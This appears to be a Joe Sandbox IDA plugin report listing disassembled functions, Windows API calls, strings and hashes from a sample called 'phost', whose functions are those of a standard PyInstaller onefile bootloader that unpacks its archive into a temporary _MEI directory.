Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 5175dd211561270c01c090de14ed05897007262ae42d5fb09ddae339d6dfd05a
Instruction ID: d91159f3654b64ad46d2a51dc8f32fd18666e8e3e401ee22508fd9f32b87e453
Opcode Fuzzy Hash: 5175dd211561270c01c090de14ed05897007262ae42d5fb09ddae339d6dfd05a
Instruction Fuzzy Hash: 6E32AE21F4C68291FF25DB29DD552B92279EF447A4F884032DA4DCB2C6EF2CE559E302

Function 00007FF62CC969D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC96708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC96749
Part of subcall function 00007FF62CC96708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC967C7
Part of subcall function 00007FF62CC96708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC96818

CreateFileW.KERNELBASE ref: 00007FF62CC96ADA
CreateFileW.KERNEL32 ref: 00007FF62CC96B2A
GetLastError.KERNEL32 ref: 00007FF62CC96B5A
GetFileType.KERNELBASE ref: 00007FF62CC96B6F
GetLastError.KERNEL32 ref: 00007FF62CC96B79
CloseHandle.KERNEL32 ref: 00007FF62CC96BAC
CloseHandle.KERNEL32 ref: 00007FF62CC96D0F
CreateFileW.KERNEL32 ref: 00007FF62CC96D44
GetLastError.KERNEL32 ref: 00007FF62CC96D53

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: 7df44e4102c86179fbd9d14821d3b9baefb01ab3e15938cec973a855de33fc49
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 46C1AF36B28A8186EF50DFA9C8906BD3771EB49BA8B019225DE2E977D4DF38D451C301

Function 00007FF62CC783B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF62CC78B09,00007FF62CC73FA5), ref: 00007FF62CC7841B
RemoveDirectoryW.KERNEL32(?,00007FF62CC78B09,00007FF62CC73FA5), ref: 00007FF62CC7849E
DeleteFileW.KERNELBASE(?,00007FF62CC78B09,00007FF62CC73FA5), ref: 00007FF62CC784BD
FindNextFileW.KERNELBASE(?,00007FF62CC78B09,00007FF62CC73FA5), ref: 00007FF62CC784CB
FindClose.KERNEL32(?,00007FF62CC78B09,00007FF62CC73FA5), ref: 00007FF62CC784DC
RemoveDirectoryW.KERNELBASE(?,00007FF62CC78B09,00007FF62CC73FA5), ref: 00007FF62CC784E5

Strings

%s\*, xrefs: 00007FF62CC783E2

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: 73ded091df39234f463fa43328688e7d89e14cb84603c2f2eb130bd565fcc088
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: 0141A232B0C94291EE309B28EC645B96374FF94774F800232D69DDAAD4DF7CD54A9702

Function 00007FF62CC792F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF62CC79323
FindClose.KERNELBASE ref: 00007FF62CC79332

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: f948e57ca8638abdaf421297596fcdd9006840ea5b7e6967280019a7dc4aee91
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 88F0493271864286FF708B64B8597766370EB88778F084235D96D45AD4DF3CD05DD601

Function 00007FF62CC71950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC77F80: _fread_nolock.LIBCMT ref: 00007FF62CC7802A

_fread_nolock.LIBCMT ref: 00007FF62CC71A1B

Part of subcall function 00007FF62CC72910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62CC71B6A), ref: 00007FF62CC7295E

Strings

Failed to seek to cookie position!, xrefs: 00007FF62CC719EE
malloc, xrefs: 00007FF62CC71B22
calloc, xrefs: 00007FF62CC71A68
Failed to read cookie!, xrefs: 00007FF62CC71A2B
MEI, xrefs: 00007FF62CC71991
Could not allocate buffer for TOC!, xrefs: 00007FF62CC71B1B
fread, xrefs: 00007FF62CC71A32, 00007FF62CC71B5C
Could not allocate memory for archive structure!, xrefs: 00007FF62CC71A61
Could not read full TOC!, xrefs: 00007FF62CC71B55
fseek, xrefs: 00007FF62CC719F5
Error on file., xrefs: 00007FF62CC71B8D

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: a160029e6a37842be442ab761c617b97701ff7f030f4f7bf0d288629a410a574
Instruction ID: c2a2261a0094ef8775b33c91a0820f30aa242f53cdaacb0095c9c6d03841031e
Opcode Fuzzy Hash: a160029e6a37842be442ab761c617b97701ff7f030f4f7bf0d288629a410a574
Instruction Fuzzy Hash: 3B81D071F0868295EF60CB28DC506BA63B4EF487A4F448135E98DCB789DE3CE1899742

Function 00007FF62CC71600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF62CC71742
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62CC716A2
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF62CC717CA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62CC717DF
malloc, xrefs: 00007FF62CC71749
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62CC716DA
fopen, xrefs: 00007FF62CC71663
fread, xrefs: 00007FF62CC717E6
fwrite, xrefs: 00007FF62CC717D1
Failed to create symbolic link %s!, xrefs: 00007FF62CC71622
fseek, xrefs: 00007FF62CC716E1
Failed to extract %s: failed to open target file!, xrefs: 00007FF62CC7165C

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: b7cfde611c470d5de2a22cfb734085cfddee959ab285f2d596dd9298a7ff1e46
Instruction ID: 6c96872fd3c04f717ddf50332f0eeaef5c0b80b224cbd514c2afb797666a725a
Opcode Fuzzy Hash: b7cfde611c470d5de2a22cfb734085cfddee959ab285f2d596dd9298a7ff1e46
Instruction Fuzzy Hash: E351B031B0864392EE119B199C105BA63B4FF44BB8F444635EE0C8B79ADF3CE549E342

Function 00007FF62CC78850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF62CC73CBB), ref: 00007FF62CC788F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF62CC73CBB), ref: 00007FF62CC788FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF62CC73CBB), ref: 00007FF62CC7893C

Part of subcall function 00007FF62CC78A20: GetEnvironmentVariableW.KERNEL32(00007FF62CC7388E), ref: 00007FF62CC78A57
Part of subcall function 00007FF62CC78A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF62CC78A79

Part of subcall function 00007FF62CC882A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC882C1

Part of subcall function 00007FF62CC72810: MessageBoxW.USER32 ref: 00007FF62CC728EA

Strings

TMP, xrefs: 00007FF62CC7888C, 00007FF62CC78993
LOADER: failed to set the TMP environment variable., xrefs: 00007FF62CC788CC
_MEI%d, xrefs: 00007FF62CC78902
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF62CC7896E
TMP, xrefs: 00007FF62CC788B2

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: 7a4a8b3e2f65bae2bc4e16544f6c3f064f679bdbd2ccd38a7ae920dcf4e9da43
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: A9418F21B1C64240FE25EB2DAD552BA12B4EF897E4F404131EE0DDB696EE3CE5099342

Function 00007FF62CC71210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF62CC71276
1.3.1, xrefs: 00007FF62CC71249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF62CC712BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF62CC712EF
malloc, xrefs: 00007FF62CC712C1, 00007FF62CC712F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF62CC7141E

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
Instruction ID: 6de156a15c2040317328a8afe42b7c9599c13c37742a4f841dc13d74ec64d578
Opcode Fuzzy Hash: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
Instruction Fuzzy Hash: C851D832B0864285EE619B19AC503BA62B5FF85BB4F444235ED4DCBBC9DE3CE509D701

Function 00007FF62CC8ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF62CC8F11A,?,?,-00000018,00007FF62CC8ADC3,?,?,?,00007FF62CC8ACBA,?,?,?,00007FF62CC85FAE), ref: 00007FF62CC8EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF62CC8F11A,?,?,-00000018,00007FF62CC8ADC3,?,?,?,00007FF62CC8ACBA,?,?,?,00007FF62CC85FAE), ref: 00007FF62CC8EF08

Strings

ext-ms-, xrefs: 00007FF62CC8EE59
api-ms-, xrefs: 00007FF62CC8EE46

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: ba84b8ed72b7d6acf3bd2c08ec4217b2942624cd64973867c96c84c2aeef3cd7
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: 0F4114A5B19A5282FF16CB1A9C1497622B1BF49BF0F884239ED1DC7384EF3CE4058342

Function 00007FF62CC736B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF62CC73804), ref: 00007FF62CC736E1
GetLastError.KERNEL32(?,00007FF62CC73804), ref: 00007FF62CC736EB

Part of subcall function 00007FF62CC72C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72C9E
Part of subcall function 00007FF62CC72C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72D63
Part of subcall function 00007FF62CC72C50: MessageBoxW.USER32 ref: 00007FF62CC72D99

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF62CC73790
Failed to obtain executable path., xrefs: 00007FF62CC736F3
\\?\, xrefs: 00007FF62CC7375A
Failed to resolve full path to executable %ls., xrefs: 00007FF62CC73739
GetModuleFileNameW, xrefs: 00007FF62CC736FA

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: b956c5c0559a42c694c9bc162a435fcaa0ce6a7cf8795c578b551813880ac6c6
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 8821A7A1F1CA4291FE20972CEC553B62274FF883B8F844136E55DCA5D5EE2CE509D302

Function 00007FF62CC8BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8BEF9

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction ID: 7c077e2aff5f63cf7d231dc390abb066b8caf8f986de67185a38806eb2660584
Opcode Fuzzy Hash: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction Fuzzy Hash: CAC1C432B0C68695EF628B199C60ABF6770EB81BE0F554235EA4D83795CF7CE8458312

Function 00007FF62CC78760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF62CC78780
OpenProcessToken.ADVAPI32 ref: 00007FF62CC78793
GetTokenInformation.KERNELBASE ref: 00007FF62CC787B8
GetLastError.KERNEL32 ref: 00007FF62CC787C2
GetTokenInformation.KERNELBASE ref: 00007FF62CC78802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62CC7881E
CloseHandle.KERNEL32 ref: 00007FF62CC78836

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: c166246b85d03a646761b3896349f19c8ff6b633cd934497a3b87f2dd3d656c6
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: 4F215E31B0CA4282EF109B59F85423AA7B4FF857B4F104235EAAD87AE5DE7CD4498701

Function 00007FF62CC790E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC78760: GetCurrentProcess.KERNEL32 ref: 00007FF62CC78780
Part of subcall function 00007FF62CC78760: OpenProcessToken.ADVAPI32 ref: 00007FF62CC78793
Part of subcall function 00007FF62CC78760: GetTokenInformation.KERNELBASE ref: 00007FF62CC787B8
Part of subcall function 00007FF62CC78760: GetLastError.KERNEL32 ref: 00007FF62CC787C2
Part of subcall function 00007FF62CC78760: GetTokenInformation.KERNELBASE ref: 00007FF62CC78802
Part of subcall function 00007FF62CC78760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62CC7881E
Part of subcall function 00007FF62CC78760: CloseHandle.KERNEL32 ref: 00007FF62CC78836

LocalFree.KERNEL32(?,00007FF62CC73C55), ref: 00007FF62CC7916C
LocalFree.KERNEL32(?,00007FF62CC73C55), ref: 00007FF62CC79175

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF62CC79142
S-1-3-4, xrefs: 00007FF62CC79121
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF62CC79183
D:(A;;FA;;;%s), xrefs: 00007FF62CC79157

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction ID: 5e4798eeac2ffc8ab57c50db14f613c81a7e613efd7e0007e22eed7f2adb0230
Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction Fuzzy Hash: 57213C21B08A8282FE14AB15ED152FA6378EF887A0F444035EA4DD7796DF3CE949D742

Function 00007FF62CC8CFD0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62CC8CFBB), ref: 00007FF62CC8D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62CC8CFBB), ref: 00007FF62CC8D177

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
